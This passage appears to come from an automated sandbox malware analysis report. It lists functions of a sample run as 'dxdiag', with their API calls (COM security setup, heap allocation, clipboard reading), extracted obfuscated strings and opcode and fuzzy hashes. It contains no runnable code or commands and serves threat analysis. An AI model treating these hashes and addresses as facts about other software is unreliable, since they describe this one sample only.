Opcode Fuzzy Hash: 83941c5ff406fddefe2a55fc962621e55030b9d07cbba56e81ba996dd76ec11c
Instruction Fuzzy Hash: E00114B5249702CFE310CF64D5D8B4BBBF1AB84304F14892CE8A54B385C7B9A9498FC2

Function 0042E343 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042E38C

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: f641e3c77b6ce86b3dd807bf46eed919c30205036380bbbe1e710ba534cd93a1
Instruction ID: cdfd11b330a352dee93e16416f8877f043d61a2de36bf40ddff772d5b84e5129
Opcode Fuzzy Hash: f641e3c77b6ce86b3dd807bf46eed919c30205036380bbbe1e710ba534cd93a1
Instruction Fuzzy Hash: C601F9B86097058FE305DF28D498B5ABBF1FB89304F10881CE4958B3A1C779A949CF81

Function 0040CDF0 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CE03

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 61d928746ba4ae58ea54a0875f1c3d0382ed5290a25c5d8e3ced17899992ccae
Instruction ID: f1973b7854016afe0481596635c710bb103935c4c1c993b3491e04eff0e8badb
Opcode Fuzzy Hash: 61d928746ba4ae58ea54a0875f1c3d0382ed5290a25c5d8e3ced17899992ccae
Instruction Fuzzy Hash: 01D0A7345545486BD250A75CDD0BF563A5C9703B29F400239B763D61D1D9506920C669

Function 0040CE23 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CE35

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 9269880a45a3c80f6ec8299234c73a1314589920fa48725fb3d67ea21efaca66
Instruction ID: 9bb2948b1e33ad1240181575e0f5375bfb099cf60bc3df2fdc322b3d55e14239
Opcode Fuzzy Hash: 9269880a45a3c80f6ec8299234c73a1314589920fa48725fb3d67ea21efaca66
Instruction Fuzzy Hash: CAD0C9343D83007AF5748B48ED53F1432169702F11FB00629F322FE6D4C9E07121861D

Function 00439B60 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,00412F5C), ref: 00439B80

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction ID: 8d81dc3d2e1c71e2762f942217139477682170591cb2c618f1865e02491f5b7e
Opcode Fuzzy Hash: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction Fuzzy Hash: 76D0C935505126EBCA506B28BC15BC73A989F4A671F0708A1B4006A075C765EC919AD8

Function 00439B40 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00414E57,00000400), ref: 00439B50

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction ID: 3d340f236624c1ae318c051adf9ea47d82c8c11c3707c94fc3fa8f772c7fe72e
Opcode Fuzzy Hash: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction Fuzzy Hash: 91C04831145224ABDA10AB15EC09B8A3AA8AF496A1F1A04A6B005660B28760AC929A98

Non-executed Functions

Function 00412670 Relevance: 165.6, Strings: 131, Instructions: 1885COMMON

Download Yara Rule

Strings

m, xrefs: 004136D8
c, xrefs: 004141A4
~, xrefs: 00413991
1, xrefs: 0041352C
a, xrefs: 00414282
4, xrefs: 004126D2
`, xrefs: 00414287
Z, xrefs: 00412B89
&, xrefs: 00412D3F
N, xrefs: 00413B11
b, xrefs: 00413FB0
u, xrefs: 00413718
Y, xrefs: 00412B84
`, xrefs: 004143F1
a, xrefs: 00413903
n, xrefs: 00413A11
R, xrefs: 00413AB1
3, xrefs: 00412861
., xrefs: 00412CFF
P, xrefs: 00413AA1
b, xrefs: 00413415
, xrefs: 004132C8
8, xrefs: 00412D4F
b, xrefs: 0041427D
J, xrefs: 00412F04
', xrefs: 00412D47
h, xrefs: 004139E1
w, xrefs: 00413728
a, xrefs: 004144B3
,, xrefs: 00412CEF
T, xrefs: 00413AC1
`, xrefs: 00413FBA
a, xrefs: 00413FB5
q, xrefs: 004136F8
E, xrefs: 0041390D
p, xrefs: 004139A1
^, xrefs: 00413A91
Z, xrefs: 00413DF7
q, xrefs: 00412D17
Z, xrefs: 00413A71
l, xrefs: 00413A01
a, xrefs: 004141AE
s, xrefs: 00413708
3, xrefs: 004127E6
], xrefs: 004130BE
V, xrefs: 00413AD1
c, xrefs: 00413410
!, xrefs: 004132D0
D, xrefs: 00413F09
h, xrefs: 00412CF7
I, xrefs: 00412D37
c, xrefs: 00413FAB
b, xrefs: 00413A31
d, xrefs: 00413A41
r, xrefs: 00413D17
y, xrefs: 00412A62
e, xrefs: 00413CD7
p, xrefs: 00413CE7
o, xrefs: 004136E8
~, xrefs: 00413187
V, xrefs: 00412E52
, xrefs: 00412D0F
x, xrefs: 00413197
F, xrefs: 00413912
D, xrefs: 00414338
O, xrefs: 00413D37
/, xrefs: 0041294E
W, xrefs: 0041308E
t, xrefs: 004139C1
8, xrefs: 00413527
c, xrefs: 00414278
}, xrefs: 00413758
l, xrefs: 00412EFA
@, xrefs: 00413B21
x, xrefs: 00413961
f, xrefs: 00413CC7
U, xrefs: 0041307E
{, xrefs: 00413748
:, xrefs: 00413076
|, xrefs: 00413750
$, xrefs: 00412D2F
`, xrefs: 004141B6
`, xrefs: 004133A8
O, xrefs: 00413B19
b, xrefs: 004141A9
*, xrefs: 00412CDF
a, xrefs: 00413C97
\, xrefs: 00413A81
a, xrefs: 004143EC
/, xrefs: 004132B8
Y, xrefs: 0041309E
D, xrefs: 00413908
w, xrefs: 00413CB7
`, xrefs: 0041341F
a, xrefs: 0041341A
`, xrefs: 00413A21
K, xrefs: 00412F09
|, xrefs: 00413981
\, xrefs: 004130B6
L, xrefs: 00413D87
A, xrefs: 00412757
b, xrefs: 004143E7
H, xrefs: 00413AE1
L, xrefs: 00413B01
g, xrefs: 00413CA7
@, xrefs: 00413D27
r, xrefs: 004139B1
j, xrefs: 004139F1
X, xrefs: 00413A61
v, xrefs: 004139D1
y, xrefs: 00413738
b, xrefs: 004144AE
`, xrefs: 004144B8
9, xrefs: 004128B7
c, xrefs: 004144A9
", xrefs: 00412D1F
6, xrefs: 00413288
., xrefs: 004140F1
t, xrefs: 00413177
r, xrefs: 00412D07
M, xrefs: 004140E9
{, xrefs: 00412B7F
c, xrefs: 004143E2
z, xrefs: 00413971
p, xrefs: 00413D07
|, xrefs: 00413C87
f, xrefs: 00413A51
J, xrefs: 00413AF1
f, xrefs: 004135CA
I, xrefs: 00412EFF
[, xrefs: 004130AE

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: $ $!$"$$$&$'$*$,$.$.$/$/$1$3$3$4$6$8$8$9$:$@$@$A$D$D$D$E$F$H$I$I$J$J$K$L$L$M$N$O$O$P$R$T$U$V$V$W$X$Y$Y$Z$Z$Z$[$\$\$]$^$`$`$`$`$`$`$`$`$a$a$a$a$a$a$a$a$b$b$b$b$b$b$b$c$c$c$c$c$c$d$e$f$f$f$g$h$h$j$l$l$m$n$o$p$p$p$q$q$r$r$r$s$t$t$u$v$w$w$x$x$y$y$z${${$|$|$|$}$~$~
API String ID: 0-970517751
Opcode ID: b935f384ca54683a4ca31a6a4a577467b87093545c2e1a959a98bc83544e7568
Instruction ID: eb2ea25b501750350b52f307c1a87468cb49357f6a4e324b0e4b270eb01e31bc
Opcode Fuzzy Hash: b935f384ca54683a4ca31a6a4a577467b87093545c2e1a959a98bc83544e7568
Instruction Fuzzy Hash: 45039D7110C7C08AD325DB3885843DFBBE2ABD6314F188A6EE1E9873D2D6798585C71B

Function 00423E4B Relevance: 34.4, Strings: 27, Instructions: 700COMMON

Download Yara Rule

Strings

3d4f, xrefs: 00424551
5;, xrefs: 004249D4
?1, xrefs: 00424BCE
5I, xrefs: 004249F5
;H, xrefs: 004244D8
96, xrefs: 00424352
KM, xrefs: 004246F9
tv, xrefs: 004241D1
96, xrefs: 004249EA
KX&Z, xrefs: 004244AC
5;, xrefs: 0042433C
BSB, xrefs: 00425330
.`1b, xrefs: 00424546
3M, xrefs: 00424BD6
*;, xrefs: 004249DF
.p r, xrefs: 0042451A
;=, xrefs: 00424BC6
$h+j, xrefs: 00424530
\, xrefs: 0042443E
5, xrefs: 0042435D
*|.~, xrefs: 0042450F
#l%n, xrefs: 0042453B
*;, xrefs: 00424347
:xz, xrefs: 00424826, 004245A0, 004243BF, 004245E9, 004240D9, 00424391
:xz, xrefs: 00424A64
\], xrefs: 0042407B
LM, xrefs: 004246EE

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: #l%n$$h+j$*|.~$*;$*;$.`1b$.p r$3d4f$3M$5$5;$5;$5I$96$96$:xz$:xz$;H$;=$?1$BSB$KX&Z$KM$LM$\$\]$tv
API String ID: 0-2144453301
Opcode ID: 2fafde579302429f393e93c8b007b0d9fe794dcac7e70ccc745c0248d3875073
Instruction ID: 02eb6ca72729b77c0c517bad882bc54f1721a4cd1cfb35057a0e712941df6505
Opcode Fuzzy Hash: 2fafde579302429f393e93c8b007b0d9fe794dcac7e70ccc745c0248d3875073
Instruction Fuzzy Hash: C56250B560C3918AD330CF14E841B9BBBF1FBC2304F80892DD9D99B251D675994ACB9B

Function 00436690 Relevance: 19.0, Strings: 15, Instructions: 246COMMON

Download Yara Rule

Strings

5, xrefs: 0043689D
X, xrefs: 0043669E
j, xrefs: 00436795
Y, xrefs: 004366A3
#, xrefs: 004368ED
\, xrefs: 0043688E
Z, xrefs: 004366F5
i, xrefs: 00436893
e, xrefs: 00436786
`, xrefs: 0043678B
Y, xrefs: 004366F0
Z, xrefs: 004366A8
~, xrefs: 0043674F
X, xrefs: 004366EB
C, xrefs: 00436898

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: #$5$C$X$X$Y$Y$Z$Z$\$`$e$i$j$~
API String ID: 0-3294723363
Opcode ID: 218b22c1c0bb5ff38fa90c5a0a5a95447d190bf781458c7b06e1a19171da4b10
Instruction ID: d06cdc3dbbba6fd9ac46771ee23930370a381fe40efeef2ce659a2012e58e6f7
Opcode Fuzzy Hash: 218b22c1c0bb5ff38fa90c5a0a5a95447d190bf781458c7b06e1a19171da4b10
Instruction Fuzzy Hash: F4910623A0D7D14AD3058538880435FEED30BEA224F6ECA6ED4E9873C6C57DC90687A3

Function 00419C10 Relevance: 15.3, APIs: 2, Strings: 6, Instructions: 1297COMMON

Download Yara Rule

APIs

Part of subcall function 0043B480: LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

FreeLibrary.KERNEL32(?), ref: 0041A21A
FreeLibrary.KERNEL32(?), ref: 0041A29B

Strings

PQ, xrefs: 00419FAC
wEtG, xrefs: 00419F94
cba`, xrefs: 0041A13D
cba`, xrefs: 0041AA31
cba`, xrefs: 00419C63
I,~M, xrefs: 0041AA47

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: I,~M$PQ$cba`$cba`$cba`$wEtG
API String ID: 764372645-3803835663
Opcode ID: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction ID: ce701afe96e54189f6fff091c8333c98f5ae15aa60c98f01a083bef101dadeb2
Opcode Fuzzy Hash: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction Fuzzy Hash: C59235746093409FE714CF65D891B6BBBE2EBD5300F28882EE58487391D7799C81CB9B

Function 00424D70 Relevance: 14.4, Strings: 11, Instructions: 627COMMON

Download Yara Rule

Strings

;=, xrefs: 00424BC6
_A, xrefs: 00424F11, 00424F27, 00424F60
?1, xrefs: 00424BCE
AK, xrefs: 00424DBC
sF, xrefs: 00424DC4
0MB, xrefs: 00425228
BSB, xrefs: 00425330
~, xrefs: 00424DCC
NO, xrefs: 00424EC2
cba`, xrefs: 00424B66
3M, xrefs: 00424BD6

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 0MB$3M$;=$?1$AK$BSB$NO$cba`$sF$~$_A
API String ID: 0-1547998400
Opcode ID: 0979c079486d7a7852b00a598c97ab370eb9193afc66a543d39376835cc69fb4
Instruction ID: f216ed7a0f42d5910be755489e032facae88754772da87564cfe1883718cc258
Opcode Fuzzy Hash: 0979c079486d7a7852b00a598c97ab370eb9193afc66a543d39376835cc69fb4
Instruction Fuzzy Hash: 03121436A187228BC324DF28D8806ABB3F1FFC5344F56896DE5858B360E7749D05CB86

Function 00425920 Relevance: 12.9, Strings: 10, Instructions: 398COMMON

Download Yara Rule

Strings

"r,t, xrefs: 004259CF
cba`, xrefs: 00425C50
^P, xrefs: 00425A07
=j9l, xrefs: 0042599F
z%|, xrefs: 004259BF
<b"d, xrefs: 004259AF
3v#H, xrefs: 004259D7
&f?x, xrefs: 004259B7
Z\, xrefs: 004259FF
cba`, xrefs: 00425E6C

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: z%|$"r,t$&f?x$3v#H$<b"d$=j9l$cba`$cba`$Z\$^P
API String ID: 0-3047316687
Opcode ID: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction ID: 146473404e5499b4986dffa8d26f26e1c07bf5215faae6f3d7194190b628d0b4
Opcode Fuzzy Hash: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction Fuzzy Hash: C2D124B9608380DFE324DF15E88176BB7E1FBD5304F94982DE58587261D738D901CB4A

Function 00431A30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431A40
GetWindowLongW.USER32 ref: 00431A65
GetClipboardData.USER32 ref: 00431A75
GlobalLock.KERNEL32 ref: 00431A8E
GlobalUnlock.KERNEL32 ref: 00431B90
CloseClipboard.USER32 ref: 00431B99

Strings

K, xrefs: 00431B1E

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: K
API String ID: 2832541153-856455061
Opcode ID: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction ID: 513562b2ac7e6d1d4712994eff6d7c1bc04b9d90a7c3137532ed1f51a9abc6ba
Opcode Fuzzy Hash: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction Fuzzy Hash: 34418E6150C7818ED310AF7C988826FBFE09B96224F044A6EE8E5872D2E6389549C797

Function 00409360 Relevance: 10.4, Strings: 8, Instructions: 405COMMON

Download Yara Rule

Strings

8>&:, xrefs: 004094B7
`;;2, xrefs: 0040960E
`;;2, xrefs: 00409734
, xrefs: 004096A0, 0040977E
/37), xrefs: 004094A7
}x, xrefs: 004093C0
u, xrefs: 00409549
YAG~u, xrefs: 004095EE

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: /37)$8>&:$YAG~u$`;;2$`;;2$u$}x$
API String ID: 0-2031701488
Opcode ID: afbf182f086d4cb3678fef5cd9cf034a3b5aeb1cf8c39da1fee8d2667e1554dd
Instruction ID: 68186ed99558166210f0fcd42b99c8c2f62b0175f04f1e675d22ffc3d0d5a109
Opcode Fuzzy Hash: afbf182f086d4cb3678fef5cd9cf034a3b5aeb1cf8c39da1fee8d2667e1554dd
Instruction Fuzzy Hash: 5CC1F67150C3918BD319CF2984A03ABBFD2AFD7215F1889ADE4D25B3C2D6398D09C796

Function 004296D8 Relevance: 9.1, Strings: 7, Instructions: 340COMMON

Download Yara Rule

Strings

='0{, xrefs: 004299DE
fa, xrefs: 004299F6
cba`, xrefs: 0042974C
);?g, xrefs: 004299EE
;>*2, xrefs: 004299CE
[93=, xrefs: 004299E6
9nI9, xrefs: 004299D6

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: );?g$9nI9$;>*2$='0{$[93=$cba`$fa
API String ID: 0-154584671
Opcode ID: 3e51a02978bc99ce7d016768a4801fe2a924607298026115374562d3702a8947
Instruction ID: 21be1e4f2e6752f9380b4aadbcf4cd787e7e0f4b09ea5b297d7e9ef9a1fb0c4b
Opcode Fuzzy Hash: 3e51a02978bc99ce7d016768a4801fe2a924607298026115374562d3702a8947
Instruction Fuzzy Hash: 3FC1077560C3A08FC3118F29D89066BBBE2AF96310F588A6DF4E1573D2C7398D45CB5A

Function 0041DE40 Relevance: 8.4, Strings: 6, Instructions: 886COMMON

Download Yara Rule

Strings

I6F8, xrefs: 0041E54E
n, xrefs: 0041E55E
-+, xrefs: 0041E238
J:<<, xrefs: 0041E556
P9&', xrefs: 0041E146
@@=:, xrefs: 0041E269

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: @@=:$I6F8$J:<<$P9&'$n$-+
API String ID: 0-2611983443
Opcode ID: c45ed84dc9fbc92dafa2b4c7a388b636a73cdc03055905ef9755abf4baf2e3c6
Instruction ID: c878bbecd244461bdf7002393a4f7c895ed20244a5d7bed5cbfbc41bef4b96db
Opcode Fuzzy Hash: c45ed84dc9fbc92dafa2b4c7a388b636a73cdc03055905ef9755abf4baf2e3c6
Instruction Fuzzy Hash: 26526A7550C3908FC725DF25C8406AFBBE1AF96304F08866EECE45B392DB398946C796

Function 0041C360 Relevance: 8.1, Strings: 6, Instructions: 626COMMON

Download Yara Rule

Strings

GI, xrefs: 0041C775
Vj)l, xrefs: 0041C9D2
JK, xrefs: 0041C77D
=z9|, xrefs: 0041C917
}~, xrefs: 0041C91F
CE, xrefs: 0041C76D

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: =z9|$JK$Vj)l$}~$CE$GI
API String ID: 0-2837980318
Opcode ID: 1d78ecb592161844fdb1d70b49100f2adcb6c2f4e1b931356bca3f21c3e11650
Instruction ID: e6571e83d39cc411a0f6c30d6b338ee8b8b0e658176ffc556d576db30a7076d6
Opcode Fuzzy Hash: 1d78ecb592161844fdb1d70b49100f2adcb6c2f4e1b931356bca3f21c3e11650
Instruction Fuzzy Hash: 5602FFB554C3408FC704DF69D8926ABBBE2EFD5314F08986DE4C68B351E7388605CB9A

Function 0042D085 Relevance: 6.6, Strings: 5, Instructions: 368COMMON

Download Yara Rule

Strings

0, xrefs: 0042D430
AGsW, xrefs: 0042D496
k, xrefs: 0042D4B6
P, xrefs: 0042D554
#, xrefs: 0042D4AC

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: #$0$AGsW$P$k
API String ID: 0-1629916805
Opcode ID: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction ID: 8816b6b3b95a3b8c405e0a0f8c285763547ceed8af8c8b555c70c7a9f783aa76
Opcode Fuzzy Hash: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction Fuzzy Hash: 1CC1F4317183918ED328CF39D4513ABBBD2AFD2304F68866ED4D58B2D1D6798449C71B

Function 0042B763 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042BA82

Strings

qjjw, xrefs: 0042B9A6
3, xrefs: 0042D6CD

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID: FreeLibrary
String ID: 3$qjjw
API String ID: 3664257935-3235754969
Opcode ID: 3641d3b1d95d9d0e2252580d4e70a4747529bd2a480d62c0a42bd322f018f1c7
Instruction ID: e0248e225440bb7285b8803733d60271f7e61eb44642cbaa2f092a8799675a72
Opcode Fuzzy Hash: 3641d3b1d95d9d0e2252580d4e70a4747529bd2a480d62c0a42bd322f018f1c7
Instruction Fuzzy Hash: 29A16C717083919BE7248F24C8917ABBBD2EFD2340F18856ED5C94B3C6DB384405D796

Function 004280B0 Relevance: 5.4, Strings: 4, Instructions: 440COMMON

Download Yara Rule

Strings

i>}0, xrefs: 004283AC
'|, xrefs: 00428275
12, xrefs: 004283B8
-., xrefs: 00428576

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: '|$-.$12$i>}0
API String ID: 0-2215797287
Opcode ID: 14e10f65ad8321b80ffaa5da7a8a4b0c9f74e6b5be133c58881cb5dac5cd0c39
Instruction ID: 8eb2e6b3675630783b81e0cc301adcc701fe371486659d4b9ed52cc1e956938d
Opcode Fuzzy Hash: 14e10f65ad8321b80ffaa5da7a8a4b0c9f74e6b5be133c58881cb5dac5cd0c39
Instruction Fuzzy Hash: 0FD1ED7220C3118FD718CF29D89179FB7E2EFC1314F15892DE4958B281EB78950ACB96

Function 0043533A Relevance: 5.4, Strings: 4, Instructions: 405COMMON

Download Yara Rule

Strings

c, xrefs: 004357E5
`, xrefs: 004357F1
b, xrefs: 004357E9
a, xrefs: 004357ED

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: `$a$b$c
API String ID: 0-1877310501
Opcode ID: a9c6c59b3ed1c792c943f583d7b073ffa41b41ed4492c6662d551fa54f329e35
Instruction ID: 3c49db235e8ab65d0d0325bcf5be7f0773c557a123825650d4b9bdb7a00939e4
Opcode Fuzzy Hash: a9c6c59b3ed1c792c943f583d7b073ffa41b41ed4492c6662d551fa54f329e35
Instruction Fuzzy Hash: DE128F20508FD2DED326C73C8848745BF913B67328F088399D4E55BBD2C3A9A565C7E6

Function 00415ADC Relevance: 5.4, Strings: 4, Instructions: 398COMMON

Download Yara Rule

Strings

1/3T, xrefs: 0041611F
^Q, xrefs: 00415C83
neA, xrefs: 00415ECE
WL, xrefs: 00415C75

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: 1/3T$WL$^Q$neA
API String ID: 0-3205570823
Opcode ID: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction ID: 36620dcd79f832a97b090e2ed89ea61b800e286945c25bf48684ec17d430fe28
Opcode Fuzzy Hash: ba18f0a771fe5c943f6b46e4d9dfc1ae68c5ab374dcf48f97578f812035a9b14
Instruction Fuzzy Hash: A9D1CEB4100B01CFD7258F25C8A1BA3BBB1FF86314F19858DC8964F7A2D779A855CB94

Function 00418731 Relevance: 4.1, Strings: 3, Instructions: 330COMMON

Download Yara Rule

Strings

t~x}, xrefs: 0041899F
lfpu, xrefs: 00418991
tuv, xrefs: 00418856

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: lfpu$t~x}$tuv
API String ID: 0-2272480740
Opcode ID: 5ae6ecf5c8bb09ee68a8b92dc996563c67039a06e37478c5de5135c619cc173a
Instruction ID: e048a5bc52b34c826fc5f58021b05f3e6481ac49658e5248bf4fd3d772931afd
Opcode Fuzzy Hash: 5ae6ecf5c8bb09ee68a8b92dc996563c67039a06e37478c5de5135c619cc173a
Instruction Fuzzy Hash: 0CA157B5600601CFD711CF25DC82B6377A2FF96314F1985ADE4468B3A2EB38E841CB59

Function 00418FAD Relevance: 4.1, Strings: 3, Instructions: 307COMMON

Download Yara Rule

Strings

Z7]9, xrefs: 00419011
t3]5, xrefs: 0041900A
B? !, xrefs: 0041901F

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: B? !$Z7]9$t3]5
API String ID: 0-3999537062
Opcode ID: 0cf34332a4bf5ac9417df9c94bdf918d256be1bc8dad18685bd4c2ad9d159837
Instruction ID: 72aafdab4af179e30fb4efeb0aca3c27bbb7d088d5539880c917271914cfd205
Opcode Fuzzy Hash: 0cf34332a4bf5ac9417df9c94bdf918d256be1bc8dad18685bd4c2ad9d159837
Instruction Fuzzy Hash: 3481D471500712CBD724CF25C8A16A3B7F2FF96760B19C69EC4864FB55E739A882CB44

Function 004192BA Relevance: 4.0, Strings: 3, Instructions: 300COMMON

Download Yara Rule

Strings

t3]5, xrefs: 00419317
B? !, xrefs: 0041932C
Z7]9, xrefs: 0041931E

Memory Dump Source

Source File: 00000002.00000002.2288887854.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dxdiag.jbxd

Similarity

API ID:
String ID: B? !$Z7]9$t3]5
API String ID: 0-3999537062
Opcode ID: 73ac118eafa2c0b9157b74d59e9ae57acea3c53c65c112bf242875409304cb73
Instruction ID: 4772a6b4140a06dcfab1e209944608f824a99ddab1fd18c5bc6537220b9c3e42
Opcode Fuzzy Hash: 73ac118eafa2c0b9157b74d59e9ae57acea3c53c65c112bf242875409304cb73
